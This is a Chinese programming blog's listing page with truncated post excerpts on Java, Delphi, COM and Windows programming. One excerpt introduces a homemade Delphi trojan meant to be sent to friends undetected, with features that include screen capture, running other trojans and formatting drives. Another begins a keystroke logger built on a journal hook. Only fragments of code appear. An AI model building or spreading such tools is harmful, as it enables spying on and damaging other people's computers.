11月6

xml 和 json 转换工具

19:08编程杂谈  From: 本站原创
         前几天在书上看的,实验了一下,结果还不错,收藏下来:
package com;
import java.util.*;

import net.sf.json.JSONObject;

import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;

public class ExtHelper {
  public static String getXmlFormList(long recordTotal,List beanList){
    Total total = new Total(); //保存记录总数
    total.setResults(recordTotal); //设置记录总数到 total对象
    List results = new ArrayList(); //创建临时的 List 对象 results
    results.add(total); // 添加对象
    results.addAll(beanList); // 追加对象
    XStream sm = new XStream(new DomDriver()); //创建Xstream对象
    for(int i=0;i<results.size();i++){
      Class c = results.get(i).getClass();
      String b = c.getName();
      String[] temp = b.split("\\.");
      sm.alias(temp[temp.length-1],c);
    }
    String xml = "<?xml version='1.0' encoding='UTF-8'?>"+sm.toXML(results);
    return xml;
  }
Tags: , ,
11月6
         自己测试了一下,支持GOOGLE,IE,FF,小巧精致的提示框。大家可以美化美化下就更完美了。
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>页面右下角弹出提示信息,类QQ右下角新闻--Inghot</title>
<style type="text/css">
* {margin:0px;padding:0px;}
html,body {height:100%;}
body {font-size:14px; line-height:24px;}
#tip {position: absolute;right: 0px;bottom: 0px;height: 0px;width: 180px;border: 1px solid #CCCCCC;background-color: #eeeeee;padding: 1px;overflow:hidden;display:none;font-size:12px;z-index:10;}
#tip p {padding:6px;}
#tip h1,#detail h1 {font-size:14px;height:25px;line-height:25px;background-color:#0066CC;color:#FFFFFF;padding:0px 3px 0px 3px;}
#tip h1 a,#detail h1 a {float:right;text-decoration:none;color:#FFFFFF;}
#shadow {position:absolute;width:100%;height:100%;background:#CCCCCC;-moz-opacity:0.5;filter:Alpha(Opacity=50);opacity: 0.8;z-index:11;display:none;overflow:hidden;}
#detail {width:500px;height:200px;border:3px double #ccc;background-color:#FFFFFF;position:absolute;z-index:30;display:none;left:30%;top:30%}
</style>
11月3
         钩子是WINDOWS中消息处理机制的一个要点,通过安装各种钩子,应用程序能够设置相应的子例程来监视系统里的消息传递以及在这些消息到达目标窗口程序之前处理它们。钩子的种类很多,每种钩子可以截获并处理相应的消息,如键盘钩子可以截获键盘消息,鼠标钩子可以截获鼠标消息,外壳钩子可以截获启动和关闭应用程序的消息,日志钩子可以监视和记录输入事件。钩子分为线程专用钩子和全局钩子,线程专用钩子只监视指定的线程,要监视系统中的所有线程,必须用到全局钩子。对于全局钩子,钩子函数必须包含在独立的动态链接库(DLL)中,这样才能被各种相关联的应用程序调用。在WINDOWS中,日志钩子是个很特别的钩子,它只有全局钩子一种,是键盘鼠标等输入设备的消息在系统消息队列被取出时发生的,而且系统中只能存在一个这样的日志钩子,更重要是,它不必用在动态链接库中,这样可以省却了为安装一个全局钩子而建立一个动态链接库的麻烦。利用日志钩子,我们可以监视各种输入事件,下面的示例可以用来记录键盘的输入,当有按键发生时,自动记录按键动作的日期和时间以及当前激活的窗口名称。本示例在中文WIN98,Borland C++ Builder4中编译通过。

---- 1.新建一个工程,在窗体Form1中放置两个按钮Button1和Button2, CAPTION分别为“安装日志钩子”和“卸载日志钩子”。

---- 2. 定义如下全局变量:

HHOOK g_hLogHook=NULL;     //钩子变量
HWND g_hLastFocus=NULL;    
//记录上一次得到焦点的窗口句柄
const int KeyPressMask=0x80000000;  //键盘掩码常量
char g_PrvChar;      //保存上一次按键值
10月30
         Session Bean分为有状态Bean和无状态Bean,有状态Bean可以维护会话状态,无状态会话Bean不维护会话状态。开发一个Session Bean需要定义接口和Bean Class,其中接口分为远程(remote)和本地(Local)接口。EJB3.0不要求同时实现remote和local接口,但一般两者同时实现。EJB容器之外的应用要访问EJB只能通过remote接口,容器内的应用通过local接口和remote接口都可以访问,但使用local接口性能更好。
         现实中,很多朋友对两种session bean存在误解,认为有状态是实例一直存在,保存每次调用后的状态,并对下一次调用起作用,而认为无状态是每次调用实例化一次,不保留用户信息。仔细分析并用实践检验后,你会发现,事实恰好相反:
有状态和无状态会话bean的本质区别是它们的生命期。
         首先解释一个下面要用到的概念--用户:session bean 的用户实际上就是直接调用ejb的类的实例,甚至是这个实例的某个方法。同一个类的不同实例对于session bean 来说是不同的用户。

有状态会话bean :每个用户有自己特有的一个实例,在用户的生存期内,bean保持了用户的信息,即“有状态”;一旦用户灭亡(调用结束或实例结束),bean的生命期也告结束。即每个用户最初都会得到一个初始的bean。

无状态会话bean :bean一旦实例化就被加进会话池中,各个用户都可以共用。即使用户已经消亡,bean 的生命期也不一定结束,它可能依然存在于会话池中,供其他用户调用。由于没有特定的用户,那么也就不能保持某一用户的状态,所以叫无状态bean。但无状态会话bean 并非没有状态,如果它有自己的属性(变量),那么这些变量就会受到所有调用它的用户的影响,这是在实际应用中必须注意,的。
10月27
         在编写一个上网计费软件时,涉及到如何对局域网中各工作站上网计费问题。一般来讲,这些工作站通过代理服务器上网,而采用现成的代理服务器软件时,由于代理服务器软件是封闭的系统,很难编写程序获取实时的上网计时信息。因此,考虑是否能编写自己的代理服务器,一方面解决群体上网,另一方面又解决上网的计费问题呢?经过实验性编程,终于圆满地解决了该问题。现写出来,与各位同行分享。

1、 思路
当前流行的浏览器的系统选项中有一个参数,即“通过代理服务器连接”,经过编程测试,当局域网中一台工作站指定了该属性,再发出Internet请求时,请求数据将发送到所指定的代理服务器上,以下为请求数据包示例:
  GET http://home.microsoft.com/intl/cn/ HTTP/1.0
  Accept: */*
  Accept-Language: zh-cn
  Accept-Encoding: gzip, deflate
  User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)
  Host: home.microsoft.com
  Proxy-Connection: Keep-Alive
其中第一行为目标URL及相关方法、协议,“Host”行指定了目标主机的地址。由此知道了代理服务的过程:接收被代理端的请求、连接真正的主机、接收主机返回的数据、将接收数据发送到被代理端。为此可编写一个简单的程序,完成上述网络通信重定向问题。用Delphi设计时,选用ServerSocket作为与被代理工作站通信的套接字控件,选用ClientSocket动态数组作为与远程主机通信的套接字控件。编程时应解决的一个重要问题是多重连接处理问题,为了加快代理服务的速度和被代理端的响应速度,套接字控件的属性应设为非阻塞型;各通信会话与套接字动态绑定,用套接字的SocketHandle属性值确定属于哪一个会话。
10月27

delphi自制木马DIY

10:59编程杂谈  From: 本站原创
         大家好呀,Heck最近查阅了一些资料,找了一些大家应该很感兴趣的东东,现在各种杀毒软件搞得冰河等等木马鼠串,没有容身之地,你自己做一个木马就不一样了,嘿嘿,发给你的好友,杀得出来才怪事情。
UDP协议用处多多,现在让我们用它来搞一个木马,一个简单的搞恶作剧的木马。首先,我们列举一下应该实现的功能,能对目标机进行关闭重启动;能让对方两眼一抹黑,黑屏,并且能解除;给对方弹点调侃的消息框;能把对方的鼠标锁定在某个区域内;能隐藏或者显示对方桌面;能抓屏,看看她(他)在干什么;能让对方的光驱像得了抽风病一样进进出出;能在对方机器上远程运行点其他木马什么什么的;直接格式化对方逻辑盘,C:盘也可以在重新启动后格式化(此招太黑,不可乱用)。
能对本文产生兴趣的朋友,一定对远程控制程序结构不陌生,服务端和客户端,我们先不讨论怎么实现服务端的隐藏运行,先来看看实现第一个功能,远程关机的实现,我们调用API函exitwindowsex。服务端的程序头如下
unit Server;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, NMUDP, StdCtrls,shellapi,mmsystem;
//记住加上shellapi,mmsystem;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
CUDP: TNMUDP;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure CUDPDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String; Port: Integer);
procedure FormDestroy(Sender: TObject);
private
procedure winexit(var msg:Tmessage);message WM_QUERYENDSESSION;
//拦截WM_QUERYENDSESSION消息并处理
Tags: ,
10月27

截获系统函数

10:54编程杂谈  From: 本站原创
         系统函数重定位的例子,从<<计算机世界日报>>上Copy出来的.

    //源程序 relocate.c
    #include <WINDOWS.H>
    #include <dos.h>
    BOOL WINAPI MyExtTextOut(HDC hDC, int x, int y, UINT nIn
t1, const RECTFAR*p Rect,LPCSTR lpStr, UINT nInt2, int FAR*
lpInt);
    WORD FAR PASCAL AllocCStoDSAlias(WORD code_sel);
    typedef struct tagFUNC
    {
    FARPROC lpFarProcReplace;  //替代函数地址
    FARPROC lpFarProcWindows;  //Windows函数地址
    BYTE    bOld;        //保存原函数第一字节
    LONG    lOld;        //保存原函数接后的四字节长值
    }FUNC;
    FUNC  Func={MyExtTextOut,ExtTextOut};
    //Windows主函数
    int PASCAL WinMain(HINSTANCE hInstance,HINSTANCE hPrevIn
stance,LPSTR lpCmdi ne,int nCmdShow){
    HANDLE hMemCode;  //代码段句柄
    WORD hMemData;    //相同基址的可写数据段别名
    WORD   wOffset;   //函数偏移
10月27

带语音的对话框

10:52编程杂谈  From: 本站原创
        VCL里的MessageDlg没有声音,而标准的windows消息对话框是带声音的

可以用下面的函数解决:

function MsgDlg (const msg: string; atype: TMsgDlgType; abuttons: TMsgDlgButtons; helpctx: Longint): Word;
var mb: CARDINAL;
begin
case AType of
  mtWarning:      mb:= MB_ICONEXCLAMATION;
  mtError:        mb:= MB_ICONHAND;
  mtInformation:  mb:= MB_ICONASTERISK;
  mtConfirmation: mb:= MB_ICONQUESTION;
  else            mb:= $0FFFFFFFF;
end;
MessageBeep (mb);
MsgDlg:= MessageDlg (msg, atype, abuttons, helpctx);
end
10月27
         delphi以其独特的面向控件的开发方式、强大的数据库功能以及快速的编译技术,使得它自发布起即格外引人注意。随着delphi 3提供丰富的internet应用,delphi日益成为最重要的软件开发工具之一,它吸引了许多原visual basic、foxpro、dbase甚至c++的程序员,而这些程序员使用delphi时需要解决的一个重要问题就是怎样利用他们原有的代码。本文将介绍delphi与c++程序集成的方法,包括s delphi与c++之间函数的共享;s 代码的静态链接和动态链接;s 对象的共享。

函数的共享
在delphi中调用c++函数与c++调用delphi函数相当直接,需要注意的是,delphi 1默认的函数调用方式是pascal方式,delphi 2、delphi 3的默认方式则是优化的cdecl调用方式,即register方式。要在c++与delphi程序之间实现函数共享,除非有充分的原因,否则应该使用标准系统调用方式,即stdcall方式。为了使c++编译器不将函数标记为"mang led",使delphi编译器误认为函数是采用cdecl调用方式,应该在c++代码中,以extern "c "说明被共享的函数,如下例所示:

原型说明:
在c++中:  extern "c" int _stdcall testfunc();

在delphi中: function testfunc:integer; stdcall;
10月27
         COM 使用与Win32同样的线程机制。它使用Win32 API来创建和同步线程。但线程模型在Win32和COM中是不尽相同的。

Win32线程模型
    Win32 定义了两类线程。用户界面线程和工作者线程。Win32中的每个进程都可以拥有一个或多个用户界面线程和/或多个工作者线程。用户界面线程有消息循环,接受发送到窗口的消息,因此也和一个或多个窗口有关联。工作者线程用于后台处理,不与任何窗口相关联。作为开发者,使用Win32线程时,要注意另外一个主要的不同点。用户界面线程总是拥有一个或多个窗口。当有消息传递给特定的窗口时,用户界面线程负责调用合适的方法。消息循环在同一个用户界面线程中执行,而不理会是哪一个线程发来的消息,所以Windows可以保证同步的正确执行。编程人员不需要为线程同步写附加的特殊代码。然而,如果你开发工作者线程的话,就必须自己处理线程同步,防止死锁或非同步的情况出现。

COM线程模型
    在COM中,线程的含义有些微差异。总共有三类COM线程模型。即:Apartment,Free和Rental线程(为MTS引入)。与Win32最类似的是用户界面线程相当于Apartment线程模型,而工作者线程相当于Free线程模型。
分页: 11/20 第一页 上页 6 7 8 9 10 11 12 13 14 15 下页 最后页 [ 显示模式: 摘要 | 列表 ]